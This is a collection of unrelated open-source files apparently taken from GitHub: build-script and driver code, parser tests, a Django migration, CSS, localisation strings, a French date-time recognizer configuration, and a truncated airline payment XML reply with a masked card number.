@@ -960,6 +960,9 @@ int main(int argc, char **argv)
if opts.vendlibdir is not None:
self.vend_lib_dir = opts.vendlibdir
+ if opts.qtflavor is not None:
+ self.qt_flavor = opts.qtflavor
+
# Handle any conflicts.
if self.qt_shared:
if len(self.static_plugins) != 0:
@@ -1177,6 +1180,11 @@ def create_optparser(target_config):
dest="notools",
help="disable the building of pyuic5, pyrcc5 and pylupdate5 "
"[default: enabled]")
+ g.add_option("--qt-flavor", dest='qtflavor', type='string',
+ default="WS_X11", metavar='QTFLAVOR', action='store',
+ help="select Qt flavor beetween WS_X11 and WS_QWS "
+ "only available on Linux)"
+ "[default: WS_X11]")
p.add_option_group(g)
# Vendor ID.
@@ -2088,7 +2096,7 @@ def get_sip_flags(target_config):
elif target_config.py_platform == 'darwin':
plattag = 'WS_MACX'
else:
- plattag = 'WS_X11'
+ plattag = target_config.qt_flavor
sip_flags.append('-t')
sip_flags.append(plattag)
| {
"pile_set_name": "Github"
} |
"use strict";
function _defaults(obj, defaults) { var keys = Object.getOwnPropertyNames(defaults); for (var i = 0; i < keys.length; i++) { var key = keys[i]; var value = Object.getOwnPropertyDescriptor(defaults, key); if (value && value.configurable && obj[key] === undefined) { Object.defineProperty(obj, key, value); } } return obj; }
function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.constructor = subClass; _defaults(subClass, superClass); }
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
var OldValue = require('../old-value');
var Value = require('../value');
var Pixelated = /*#__PURE__*/function (_Value) {
_inheritsLoose(Pixelated, _Value);
function Pixelated() {
return _Value.apply(this, arguments) || this;
}
var _proto = Pixelated.prototype;
/**
* Use non-standard name for WebKit and Firefox
*/
_proto.replace = function replace(string, prefix) {
if (prefix === '-webkit-') {
return string.replace(this.regexp(), '$1-webkit-optimize-contrast');
}
if (prefix === '-moz-') {
return string.replace(this.regexp(), '$1-moz-crisp-edges');
}
return _Value.prototype.replace.call(this, string, prefix);
}
/**
* Different name for WebKit and Firefox
*/
;
_proto.old = function old(prefix) {
if (prefix === '-webkit-') {
return new OldValue(this.name, '-webkit-optimize-contrast');
}
if (prefix === '-moz-') {
return new OldValue(this.name, '-moz-crisp-edges');
}
return _Value.prototype.old.call(this, prefix);
};
return Pixelated;
}(Value);
_defineProperty(Pixelated, "names", ['pixelated']);
module.exports = Pixelated; | {
"pile_set_name": "Github"
} |
namespace MongoDB.Protocol
{
/// <summary>
/// Base class for all raw messages
/// </summary>
internal abstract class MessageBase
{
/// <summary>
///
/// </summary>
protected const int MaximumMessageSize = 1024 * 1024 * 4;
/// <summary>
/// Gets or sets the header.
/// </summary>
/// <value>The header.</value>
public MessageHeader Header { get; protected set; }
}
}
| {
"pile_set_name": "Github"
} |
import cases from 'jest-in-case';
import replaceImports from './';
cases(
'replaceImports()',
({ inputFile, outputFile, replaces }) => {
let code = replaceImports(inputFile, replaces);
expect(code).toEqual(outputFile);
},
[
{
name: 'replace imports',
inputFile: "import a from 'b' import c from 'd'",
outputFile: "import a from 'z' import c from 'arg'",
replaces: [['b', 'z'], ['d', 'arg']],
},
{
name: 'replace imports based on pattern',
inputFile: "import b from 'b'; import c from './d/somewhere'",
outputFile: "import b from 'z'; import c from 'anywhere/somewhere'",
replaces: [['b', 'z'], ['./d/*', 'anywhere/']],
},
{
name: 'replace imports that is export-y',
inputFile: "export b from 'b';",
outputFile: "export b from 'z';",
replaces: [['b', 'z']],
},
{
name: 'replace require instead of import',
inputFile: "const b = require('b');",
outputFile: "const b = require('z');",
replaces: [['b', 'z']],
},
]
);
| {
"pile_set_name": "Github"
} |
.progressbar {
border-width: 1px;
border-style: solid;
-moz-border-radius: 5px 5px 5px 5px;
-webkit-border-radius: 5px 5px 5px 5px;
border-radius: 5px 5px 5px 5px;
overflow: hidden;
position: relative;
}
.progressbar-text {
text-align: center;
position: absolute;
}
.progressbar-value {
position: relative;
overflow: hidden;
width: 0;
-moz-border-radius: 5px 0 0 5px;
-webkit-border-radius: 5px 0 0 5px;
border-radius: 5px 0 0 5px;
}
.progressbar {
border-color: #D3D3D3;
}
.progressbar-text {
color: #000000;
font-size: 12px;
}
.progressbar-value .progressbar-text {
background-color: #0092DC;
color: #fff;
}
| {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -std=c++1z %s -verify -fcxx-exceptions
struct S { int a, b, c; };
// A simple-declaration can be a decompsition declaration.
namespace SimpleDecl {
auto [a_x, b_x, c_x] = S();
void f(S s) {
auto [a, b, c] = S();
{
for (auto [a, b, c] = S();;) {}
if (auto [a, b, c] = S(); true) {}
switch (auto [a, b, c] = S(); 0) { case 0:; }
}
}
}
// A for-range-declaration can be a decomposition declaration.
namespace ForRangeDecl {
extern S arr[10];
void h() {
for (auto [a, b, c] : arr) {
}
}
}
// Other kinds of declaration cannot.
namespace OtherDecl {
// A parameter-declaration is not a simple-declaration.
// This parses as an array declaration.
void f(auto [a, b, c]); // expected-error {{'auto' not allowed in function prototype}} expected-error {{'a'}}
void g() {
// A condition is allowed as a Clang extension.
// See commentary in test/Parser/decomposed-condition.cpp
for (; auto [a, b, c] = S(); ) {} // expected-warning {{ISO C++17 does not permit structured binding declaration in a condition}} expected-error {{value of type 'S' is not contextually convertible to 'bool'}}
if (auto [a, b, c] = S()) {} // expected-warning {{ISO C++17 does not permit structured binding declaration in a condition}} expected-error {{value of type 'S' is not contextually convertible to 'bool'}}
if (int n; auto [a, b, c] = S()) {} // expected-warning {{ISO C++17 does not permit structured binding declaration in a condition}} expected-error {{value of type 'S' is not contextually convertible to 'bool'}}
switch (auto [a, b, c] = S()) {} // expected-warning {{ISO C++17 does not permit structured binding declaration in a condition}} expected-error {{statement requires expression of integer type ('S' invalid)}}
switch (int n; auto [a, b, c] = S()) {} // expected-warning {{ISO C++17 does not permit structured binding declaration in a condition}} expected-error {{statement requires expression of integer type ('S' invalid)}}
while (auto [a, b, c] = S()) {} // expected-warning {{ISO C++17 does not permit structured binding declaration in a condition}} expected-error {{value of type 'S' is not contextually convertible to 'bool'}}
// An exception-declaration is not a simple-declaration.
try {}
catch (auto [a, b, c]) {} // expected-error {{'auto' not allowed in exception declaration}} expected-error {{'a'}}
}
// A member-declaration is not a simple-declaration.
class A {
auto [a, b, c] = S(); // expected-error {{not permitted in this context}}
static auto [a, b, c] = S(); // expected-error {{not permitted in this context}}
};
}
namespace GoodSpecifiers {
void f() {
int n[1];
const volatile auto &[a] = n;
}
}
namespace BadSpecifiers {
typedef int I1[1];
I1 n;
struct S { int n; } s;
void f() {
// storage-class-specifiers
static auto &[a] = n; // expected-error {{cannot be declared 'static'}}
thread_local auto &[b] = n; // expected-error {{cannot be declared 'thread_local'}}
extern auto &[c] = n; // expected-error {{cannot be declared 'extern'}} expected-error {{cannot have an initializer}}
struct S {
mutable auto &[d] = n; // expected-error {{not permitted in this context}}
// function-specifiers
virtual auto &[e] = n; // expected-error {{not permitted in this context}}
explicit auto &[f] = n; // expected-error {{not permitted in this context}}
// misc decl-specifiers
friend auto &[g] = n; // expected-error {{'auto' not allowed}} expected-error {{friends can only be classes or functions}}
};
typedef auto &[h] = n; // expected-error {{cannot be declared 'typedef'}}
constexpr auto &[i] = n; // expected-error {{cannot be declared 'constexpr'}}
static constexpr thread_local auto &[j] = n; // expected-error {{cannot be declared with 'static thread_local constexpr' specifiers}}
}
inline auto &[k] = n; // expected-error {{cannot be declared 'inline'}}
const int K = 5;
void g() {
// defining-type-specifiers other than cv-qualifiers and 'auto'
S [a] = s; // expected-error {{cannot be declared with type 'BadSpecifiers::S'}}
decltype(auto) [b] = s; // expected-error {{cannot be declared with type 'decltype(auto)'}}
auto ([c]) = s; // expected-error {{cannot be declared with parentheses}}
// FIXME: This error is not very good.
auto [d]() = s; // expected-error {{expected ';'}} expected-error {{expected expression}}
auto [e][1] = s; // expected-error {{expected ';'}} expected-error {{requires an initializer}}
// FIXME: This should fire the 'misplaced array declarator' diagnostic.
int [K] arr = {0}; // expected-error {{expected ';'}} expected-error {{cannot be declared with type 'int'}} expected-error {{decomposition declaration '[K]' requires an initializer}}
int [5] arr = {0}; // expected-error {{place the brackets after the name}}
auto *[f] = s; // expected-error {{cannot be declared with type 'auto *'}} expected-error {{incompatible initializer}}
auto S::*[g] = s; // expected-error {{cannot be declared with type 'auto BadSpecifiers::S::*'}} expected-error {{incompatible initializer}}
// ref-qualifiers are OK.
auto &&[ok_1] = S();
auto &[ok_2] = s;
// attributes are OK.
[[]] auto [ok_3] = s;
alignas(S) auto [ok_4] = s;
// ... but not after the identifier or declarator.
// FIXME: These errors are not very good.
auto [bad_attr_1 [[]]] = s; // expected-error {{attribute list cannot appear here}} expected-error 2{{}}
auto [bad_attr_2] [[]] = s; // expected-error {{expected ';'}} expected-error {{}}
}
}
namespace MultiDeclarator {
struct S { int n; };
void f(S s) {
auto [a] = s, [b] = s; // expected-error {{must be the only declaration}}
auto [c] = s, d = s; // expected-error {{must be the only declaration}}
auto e = s, [f] = s; // expected-error {{must be the only declaration}}
auto g = s, h = s, i = s, [j] = s; // expected-error {{must be the only declaration}}
}
}
namespace Template {
int n[3];
// FIXME: There's no actual rule against this...
template<typename T> auto [a, b, c] = n; // expected-error {{decomposition declaration template not supported}}
}
namespace Init {
void f() {
int arr[1];
struct S { int n; };
auto &[bad1]; // expected-error {{decomposition declaration '[bad1]' requires an initializer}}
const auto &[bad2](S{}, S{}); // expected-error {{initializer for variable '[bad2]' with type 'const auto &' contains multiple expressions}}
const auto &[bad3](); // expected-error {{expected expression}}
auto &[good1] = arr;
auto &&[good2] = S{};
const auto &[good3](S{});
S [goodish3] = { 4 }; // expected-error {{cannot be declared with type 'S'}}
S [goodish4] { 4 }; // expected-error {{cannot be declared with type 'S'}}
}
}
| {
"pile_set_name": "Github"
} |
# Generated by Django 2.2.10 on 2020-02-25 11:21
from django.db import migrations, models
def copy_title(apps, schema_editor):
KBCategory = apps.get_model("helpdesk", "KBCategory")
KBCategory.objects.update(name=models.F('title'))
class Migration(migrations.Migration):
dependencies = [
('helpdesk', '0029_kbcategory_public'),
]
operations = [
migrations.AddField(
model_name='kbcategory',
name='name',
field=models.CharField(blank=True, max_length=100, null=True, verbose_name='Name of the category'),
),
migrations.AlterField(
model_name='kbcategory',
name='title',
field=models.CharField(max_length=100, verbose_name='Title on knowledgebase page'),
),
migrations.RunPython(copy_title, migrations.RunPython.noop),
migrations.AlterField(
model_name='kbcategory',
name='name',
field=models.CharField(blank=False, max_length=100, null=False, verbose_name='Name of the category'),
),
]
| {
"pile_set_name": "Github"
} |
{
"sEmptyTable": "No data available in table",
"sInfo": "Showing _START_ to _END_ of _TOTAL_ entries",
"sInfoEmpty": "Showing 0 to 0 of 0 entries",
"sInfoFiltered": "(filtered from _MAX_ total entries)",
"sInfoPostFix": "",
"sInfoThousands": ",",
"sLengthMenu": "Show _MENU_",
"sLoadingRecords": "Loading...",
"sProcessing": "Processing...",
"sSearch": "",
"sZeroRecords": "No matching records found",
"oPaginate": {
"sFirst": "First",
"sLast": "Last",
"sNext": "Next",
"sPrevious": "Previous"
},
"oAria": {
"sSortAscending": ": activate to sort column ascending",
"sSortDescending": ": activate to sort column descending"
}
} | {
"pile_set_name": "Github"
} |
/*
* rtc-tps6586x.c: RTC driver for TI PMIC TPS6586X
*
* Copyright (c) 2012, NVIDIA Corporation.
*
* Author: Laxman Dewangan <[email protected]>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation version 2.
*
* This program is distributed "as is" WITHOUT ANY WARRANTY of any kind,
* whether express or implied; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
* 02111-1307, USA
*/
#include <linux/device.h>
#include <linux/err.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/mfd/tps6586x.h>
#include <linux/module.h>
#include <linux/platform_device.h>
#include <linux/pm_runtime.h>
#include <linux/rtc.h>
#include <linux/slab.h>
#define RTC_CTRL 0xc0
#define POR_RESET_N BIT(7)
#define OSC_SRC_SEL BIT(6)
#define RTC_ENABLE BIT(5) /* enables alarm */
#define RTC_BUF_ENABLE BIT(4) /* 32 KHz buffer enable */
#define PRE_BYPASS BIT(3) /* 0=1KHz or 1=32KHz updates */
#define CL_SEL_MASK (BIT(2)|BIT(1))
#define CL_SEL_POS 1
#define RTC_ALARM1_HI 0xc1
#define RTC_COUNT4 0xc6
/* start a PMU RTC access by reading the register prior to the RTC_COUNT4 */
#define RTC_COUNT4_DUMMYREAD 0xc5
/*only 14-bits width in second*/
#define ALM1_VALID_RANGE_IN_SEC 0x3FFF
#define TPS6586X_RTC_CL_SEL_1_5PF 0x0
#define TPS6586X_RTC_CL_SEL_6_5PF 0x1
#define TPS6586X_RTC_CL_SEL_7_5PF 0x2
#define TPS6586X_RTC_CL_SEL_12_5PF 0x3
struct tps6586x_rtc {
struct device *dev;
struct rtc_device *rtc;
int irq;
bool irq_en;
};
static inline struct device *to_tps6586x_dev(struct device *dev)
{
return dev->parent;
}
static int tps6586x_rtc_read_time(struct device *dev, struct rtc_time *tm)
{
struct device *tps_dev = to_tps6586x_dev(dev);
unsigned long long ticks = 0;
time64_t seconds;
u8 buff[6];
int ret;
int i;
ret = tps6586x_reads(tps_dev, RTC_COUNT4_DUMMYREAD, sizeof(buff), buff);
if (ret < 0) {
dev_err(dev, "read counter failed with err %d\n", ret);
return ret;
}
for (i = 1; i < sizeof(buff); i++) {
ticks <<= 8;
ticks |= buff[i];
}
seconds = ticks >> 10;
rtc_time64_to_tm(seconds, tm);
return 0;
}
static int tps6586x_rtc_set_time(struct device *dev, struct rtc_time *tm)
{
struct device *tps_dev = to_tps6586x_dev(dev);
unsigned long long ticks;
time64_t seconds;
u8 buff[5];
int ret;
seconds = rtc_tm_to_time64(tm);
ticks = (unsigned long long)seconds << 10;
buff[0] = (ticks >> 32) & 0xff;
buff[1] = (ticks >> 24) & 0xff;
buff[2] = (ticks >> 16) & 0xff;
buff[3] = (ticks >> 8) & 0xff;
buff[4] = ticks & 0xff;
/* Disable RTC before changing time */
ret = tps6586x_clr_bits(tps_dev, RTC_CTRL, RTC_ENABLE);
if (ret < 0) {
dev_err(dev, "failed to clear RTC_ENABLE\n");
return ret;
}
ret = tps6586x_writes(tps_dev, RTC_COUNT4, sizeof(buff), buff);
if (ret < 0) {
dev_err(dev, "failed to program new time\n");
return ret;
}
/* Enable RTC */
ret = tps6586x_set_bits(tps_dev, RTC_CTRL, RTC_ENABLE);
if (ret < 0) {
dev_err(dev, "failed to set RTC_ENABLE\n");
return ret;
}
return 0;
}
static int tps6586x_rtc_alarm_irq_enable(struct device *dev,
unsigned int enabled)
{
struct tps6586x_rtc *rtc = dev_get_drvdata(dev);
if (enabled && !rtc->irq_en) {
enable_irq(rtc->irq);
rtc->irq_en = true;
} else if (!enabled && rtc->irq_en) {
disable_irq(rtc->irq);
rtc->irq_en = false;
}
return 0;
}
static int tps6586x_rtc_set_alarm(struct device *dev, struct rtc_wkalrm *alrm)
{
struct device *tps_dev = to_tps6586x_dev(dev);
time64_t seconds;
unsigned long ticks;
unsigned long rtc_current_time;
unsigned long long rticks = 0;
u8 buff[3];
u8 rbuff[6];
int ret;
int i;
seconds = rtc_tm_to_time64(&alrm->time);
ret = tps6586x_rtc_alarm_irq_enable(dev, alrm->enabled);
if (ret < 0) {
dev_err(dev, "can't set alarm irq, err %d\n", ret);
return ret;
}
ret = tps6586x_reads(tps_dev, RTC_COUNT4_DUMMYREAD,
sizeof(rbuff), rbuff);
if (ret < 0) {
dev_err(dev, "read counter failed with err %d\n", ret);
return ret;
}
for (i = 1; i < sizeof(rbuff); i++) {
rticks <<= 8;
rticks |= rbuff[i];
}
rtc_current_time = rticks >> 10;
if ((seconds - rtc_current_time) > ALM1_VALID_RANGE_IN_SEC)
seconds = rtc_current_time - 1;
ticks = (unsigned long long)seconds << 10;
buff[0] = (ticks >> 16) & 0xff;
buff[1] = (ticks >> 8) & 0xff;
buff[2] = ticks & 0xff;
ret = tps6586x_writes(tps_dev, RTC_ALARM1_HI, sizeof(buff), buff);
if (ret)
dev_err(dev, "programming alarm failed with err %d\n", ret);
return ret;
}
static int tps6586x_rtc_read_alarm(struct device *dev, struct rtc_wkalrm *alrm)
{
struct device *tps_dev = to_tps6586x_dev(dev);
unsigned long ticks;
time64_t seconds;
u8 buff[3];
int ret;
ret = tps6586x_reads(tps_dev, RTC_ALARM1_HI, sizeof(buff), buff);
if (ret) {
dev_err(dev, "read RTC_ALARM1_HI failed with err %d\n", ret);
return ret;
}
ticks = (buff[0] << 16) | (buff[1] << 8) | buff[2];
seconds = ticks >> 10;
rtc_time64_to_tm(seconds, &alrm->time);
return 0;
}
static const struct rtc_class_ops tps6586x_rtc_ops = {
.read_time = tps6586x_rtc_read_time,
.set_time = tps6586x_rtc_set_time,
.set_alarm = tps6586x_rtc_set_alarm,
.read_alarm = tps6586x_rtc_read_alarm,
.alarm_irq_enable = tps6586x_rtc_alarm_irq_enable,
};
static irqreturn_t tps6586x_rtc_irq(int irq, void *data)
{
struct tps6586x_rtc *rtc = data;
rtc_update_irq(rtc->rtc, 1, RTC_IRQF | RTC_AF);
return IRQ_HANDLED;
}
static int tps6586x_rtc_probe(struct platform_device *pdev)
{
struct device *tps_dev = to_tps6586x_dev(&pdev->dev);
struct tps6586x_rtc *rtc;
int ret;
rtc = devm_kzalloc(&pdev->dev, sizeof(*rtc), GFP_KERNEL);
if (!rtc)
return -ENOMEM;
rtc->dev = &pdev->dev;
rtc->irq = platform_get_irq(pdev, 0);
/* 1 kHz tick mode, enable tick counting */
ret = tps6586x_update(tps_dev, RTC_CTRL,
RTC_ENABLE | OSC_SRC_SEL |
((TPS6586X_RTC_CL_SEL_1_5PF << CL_SEL_POS) & CL_SEL_MASK),
RTC_ENABLE | OSC_SRC_SEL | PRE_BYPASS | CL_SEL_MASK);
if (ret < 0) {
dev_err(&pdev->dev, "unable to start counter\n");
return ret;
}
device_init_wakeup(&pdev->dev, 1);
platform_set_drvdata(pdev, rtc);
rtc->rtc = devm_rtc_allocate_device(&pdev->dev);
if (IS_ERR(rtc->rtc)) {
ret = PTR_ERR(rtc->rtc);
dev_err(&pdev->dev, "RTC allocate device: ret %d\n", ret);
goto fail_rtc_register;
}
rtc->rtc->ops = &tps6586x_rtc_ops;
rtc->rtc->range_max = (1ULL << 30) - 1; /* 30-bit seconds */
rtc->rtc->start_secs = mktime64(2009, 1, 1, 0, 0, 0);
rtc->rtc->set_start_time = true;
ret = devm_request_threaded_irq(&pdev->dev, rtc->irq, NULL,
tps6586x_rtc_irq,
IRQF_ONESHOT,
dev_name(&pdev->dev), rtc);
if (ret < 0) {
dev_err(&pdev->dev, "request IRQ(%d) failed with ret %d\n",
rtc->irq, ret);
goto fail_rtc_register;
}
disable_irq(rtc->irq);
ret = rtc_register_device(rtc->rtc);
if (ret) {
dev_err(&pdev->dev, "RTC device register: ret %d\n", ret);
goto fail_rtc_register;
}
return 0;
fail_rtc_register:
tps6586x_update(tps_dev, RTC_CTRL, 0,
RTC_ENABLE | OSC_SRC_SEL | PRE_BYPASS | CL_SEL_MASK);
return ret;
};
static int tps6586x_rtc_remove(struct platform_device *pdev)
{
struct device *tps_dev = to_tps6586x_dev(&pdev->dev);
tps6586x_update(tps_dev, RTC_CTRL, 0,
RTC_ENABLE | OSC_SRC_SEL | PRE_BYPASS | CL_SEL_MASK);
return 0;
}
#ifdef CONFIG_PM_SLEEP
static int tps6586x_rtc_suspend(struct device *dev)
{
struct tps6586x_rtc *rtc = dev_get_drvdata(dev);
if (device_may_wakeup(dev))
enable_irq_wake(rtc->irq);
return 0;
}
static int tps6586x_rtc_resume(struct device *dev)
{
struct tps6586x_rtc *rtc = dev_get_drvdata(dev);
if (device_may_wakeup(dev))
disable_irq_wake(rtc->irq);
return 0;
}
#endif
static SIMPLE_DEV_PM_OPS(tps6586x_pm_ops, tps6586x_rtc_suspend,
tps6586x_rtc_resume);
static struct platform_driver tps6586x_rtc_driver = {
.driver = {
.name = "tps6586x-rtc",
.pm = &tps6586x_pm_ops,
},
.probe = tps6586x_rtc_probe,
.remove = tps6586x_rtc_remove,
};
module_platform_driver(tps6586x_rtc_driver);
MODULE_ALIAS("platform:tps6586x-rtc");
MODULE_DESCRIPTION("TI TPS6586x RTC driver");
MODULE_AUTHOR("Laxman dewangan <[email protected]>");
MODULE_LICENSE("GPL v2");
| {
"pile_set_name": "Github"
} |
<?php
class SDKRuntimeException extends Exception {
public function errorMessage()
{
return $this->getMessage();
}
}
?> | {
"pile_set_name": "Github"
} |
config BOARD_ASUS_P5QC
bool "P5QC"
config BOARD_ASUS_P5Q_PRO
bool "P5Q PRO"
config BOARD_ASUS_P5QL_PRO
bool "P5QL PRO"
config BOARD_ASUS_P5Q
bool "P5Q"
| {
"pile_set_name": "Github"
} |
import { RegExpUtility } from "@microsoft/recognizers-text";
import { ISetExtractorConfiguration, ISetParserConfiguration } from "../baseSet";
import { BaseDurationExtractor, BaseDurationParser } from "../baseDuration";
import { BaseTimeExtractor, BaseTimeParser } from "../baseTime";
import { BaseDateExtractor, BaseDateParser } from "../baseDate";
import { IDateTimeExtractor, BaseDateTimeExtractor, BaseDateTimeParser } from "../baseDateTime";
import { BaseDatePeriodExtractor, BaseDatePeriodParser } from "../baseDatePeriod";
import { BaseTimePeriodExtractor, BaseTimePeriodParser } from "../baseTimePeriod";
import { BaseDateTimePeriodExtractor, BaseDateTimePeriodParser } from "../baseDateTimePeriod";
import { FrenchDateTime } from "../../resources/frenchDateTime";
import { FrenchDurationExtractorConfiguration } from "./durationConfiguration";
import { FrenchDateExtractorConfiguration } from "./dateConfiguration";
import { FrenchDateTimeExtractorConfiguration } from "./dateTimeConfiguration";
import { FrenchDatePeriodExtractorConfiguration } from "./datePeriodConfiguration";
import { FrenchDateTimePeriodExtractorConfiguration } from "./dateTimePeriodConfiguration";
import { ICommonDateTimeParserConfiguration } from "../parsers";
import { FrenchTimeExtractorConfiguration } from "./timeConfiguration";
import { FrenchTimePeriodExtractorConfiguration } from "./timePeriodConfiguration";
export class FrenchSetExtractorConfiguration implements ISetExtractorConfiguration {
readonly lastRegex: RegExp;
readonly eachPrefixRegex: RegExp;
readonly periodicRegex: RegExp;
readonly eachUnitRegex: RegExp;
readonly eachDayRegex: RegExp;
readonly beforeEachDayRegex: RegExp;
readonly setWeekDayRegex: RegExp;
readonly setEachRegex: RegExp;
readonly durationExtractor: IDateTimeExtractor;
readonly timeExtractor: IDateTimeExtractor;
readonly dateExtractor: IDateTimeExtractor;
readonly dateTimeExtractor: IDateTimeExtractor;
readonly datePeriodExtractor: IDateTimeExtractor;
readonly timePeriodExtractor: IDateTimeExtractor;
readonly dateTimePeriodExtractor: IDateTimeExtractor;
constructor(dmyDateFormat: boolean) {
this.lastRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.SetLastRegex, "gis");
this.periodicRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.PeriodicRegex, "gis");
this.eachUnitRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.EachUnitRegex, "gis");
this.eachPrefixRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.EachPrefixRegex, "gis");
this.eachDayRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.EachDayRegex, "gis");
this.beforeEachDayRegex = null;
this.setEachRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.SetEachRegex, "gis");
this.setWeekDayRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.SetWeekDayRegex, "gis");
this.durationExtractor = new BaseDurationExtractor(new FrenchDurationExtractorConfiguration());
this.timeExtractor = new BaseTimeExtractor(new FrenchTimeExtractorConfiguration());
this.dateExtractor = new BaseDateExtractor(new FrenchDateExtractorConfiguration(dmyDateFormat));
this.dateTimeExtractor = new BaseDateTimeExtractor(new FrenchDateTimeExtractorConfiguration(dmyDateFormat));
this.datePeriodExtractor = new BaseDatePeriodExtractor(new FrenchDatePeriodExtractorConfiguration(dmyDateFormat));
this.timePeriodExtractor = new BaseTimePeriodExtractor(new FrenchTimePeriodExtractorConfiguration());
this.dateTimePeriodExtractor = new BaseDateTimePeriodExtractor(new FrenchDateTimePeriodExtractorConfiguration(dmyDateFormat));
}
}
export class FrenchSetParserConfiguration implements ISetParserConfiguration {
readonly durationExtractor: IDateTimeExtractor;
readonly durationParser: BaseDurationParser;
readonly timeExtractor: IDateTimeExtractor;
readonly timeParser: BaseTimeParser;
readonly dateExtractor: IDateTimeExtractor;
readonly dateParser: BaseDateParser;
readonly dateTimeExtractor: IDateTimeExtractor;
readonly dateTimeParser: BaseDateTimeParser;
readonly datePeriodExtractor: IDateTimeExtractor;
readonly datePeriodParser: BaseDatePeriodParser;
readonly timePeriodExtractor: IDateTimeExtractor;
readonly timePeriodParser: BaseTimePeriodParser;
readonly dateTimePeriodExtractor: IDateTimeExtractor;
readonly dateTimePeriodParser: BaseDateTimePeriodParser;
readonly unitMap: ReadonlyMap<string, string>;
readonly eachPrefixRegex: RegExp;
readonly periodicRegex: RegExp;
readonly eachUnitRegex: RegExp;
readonly eachDayRegex: RegExp;
readonly setWeekDayRegex: RegExp;
readonly setEachRegex: RegExp;
constructor(config: ICommonDateTimeParserConfiguration) {
this.durationExtractor = config.durationExtractor;
this.timeExtractor = config.timeExtractor;
this.dateExtractor = config.dateExtractor;
this.dateTimeExtractor = config.dateTimeExtractor;
this.datePeriodExtractor = config.datePeriodExtractor;
this.timePeriodExtractor = config.timePeriodExtractor;
this.dateTimePeriodExtractor = config.dateTimePeriodExtractor;
this.durationParser = config.durationParser;
this.timeParser = config.timeParser;
this.dateParser = config.dateParser;
this.dateTimeParser = config.dateTimeParser;
this.datePeriodParser = config.datePeriodParser;
this.timePeriodParser = config.timePeriodParser;
this.dateTimePeriodParser = config.dateTimePeriodParser;
this.unitMap = config.unitMap;
this.eachPrefixRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.EachPrefixRegex, "gis");
this.periodicRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.PeriodicRegex, "gis");
this.eachUnitRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.EachUnitRegex, "gis");
this.eachDayRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.EachDayRegex, "gis");
this.setWeekDayRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.SetWeekDayRegex, "gis");
this.setEachRegex = RegExpUtility.getSafeRegExp(FrenchDateTime.SetEachRegex, "gis");
}
getMatchedDailyTimex(text: string): { matched: boolean; timex: string; } {
let trimedText = text.trim().toLowerCase();
let timex = "";
if (trimedText === "quotidien" || trimedText === "quotidienne" ||
trimedText === "jours" || trimedText === "journellement") {
timex = "P1D";
}
else if (trimedText === "hebdomadaire") {
timex = "P1W";
}
else if (trimedText === "bihebdomadaire") {
timex = "P2W";
}
else if (trimedText === "mensuel" || trimedText === "mensuelle") {
timex = "P1M";
}
else if (trimedText === "annuel" || trimedText === "annuellement") {
timex = "P1Y";
}
else {
timex = null;
return {
timex,
matched: false
};
}
return {
timex,
matched: true
};
}
getMatchedUnitTimex(text: string): { matched: boolean; timex: string; } {
let trimedText = text.trim().toLowerCase();
let timex = "";
if (trimedText === "jour" || trimedText === "journee") {
timex = "P1D";
}
else if (trimedText === "semaine") {
timex = "P1W";
}
else if (trimedText === "mois") {
timex = "P1M";
}
else if (trimedText === "an" || trimedText === "annee") {
timex = "P1Y";
}
else {
timex = null;
return {
matched: false,
timex
};
}
return {
matched: true,
timex
};
}
} | {
"pile_set_name": "Github"
} |
<FOP_CreateFormOfPaymentReply xmlns="http://xml.amadeus.com/TFOPCR_15_4_1A">
<fopDescription>
<fopReference></fopReference>
<passengerAssociation>
<passengerReference>
<type>PAX</type>
<value>1</value>
</passengerReference>
</passengerAssociation>
<pnrElementAssociation>
<referenceDetails>
<type>TST</type>
<value>1</value>
</referenceDetails>
</pnrElementAssociation>
<pnrElementAssociation>
<referenceDetails>
<type>SEG</type>
<value>1</value>
</referenceDetails>
</pnrElementAssociation>
<mopDescription>
<fopSequenceNumber>
<sequenceDetails>
<number>1</number>
</sequenceDetails>
</fopSequenceNumber>
<mopDetails>
<fopPNRDetails>
<fopDetails>
<fopCode>VI</fopCode>
<fopStatus>N</fopStatus>
<fopEdiCode>CCVI</fopEdiCode>
<fopReportingCode>CC</fopReportingCode>
<fopElecTicketingCode>CC</fopElecTicketingCode>
</fopDetails>
</fopPNRDetails>
<oldFopFreeflow>
<freeTextDetails>
<textSubjectQualifier>ZZZ</textSubjectQualifier>
<source>M</source>
<encoding>ZZZ</encoding>
</freeTextDetails>
<freeText>VIXXXXXXXXXXXX0009/0915</freeText>
</oldFopFreeflow>
<pnrSupplementaryData>
<dataAndSwitchMap>
<criteriaSetType>S</criteriaSetType>
<criteriaDetails>
<attributeType>13</attributeType>
<attributeDescription>1</attributeDescription>
</criteriaDetails>
</dataAndSwitchMap>
</pnrSupplementaryData>
<pnrSupplementaryData>
<dataAndSwitchMap>
<criteriaSetType>D</criteriaSetType>
<criteriaDetails>
<attributeType>IPN</attributeType>
<attributeDescription>249746105</attributeDescription>
</criteriaDetails>
<criteriaDetails>
<attributeType>AMT</attributeType>
<attributeDescription>20.00</attributeDescription>
</criteriaDetails>
<criteriaDetails>
<attributeType>CCNUM</attributeType>
<attributeDescription>XXXXXXXXXXXX0009</attributeDescription>
</criteriaDetails>
<criteriaDetails>
<attributeType>CUR</attributeType>
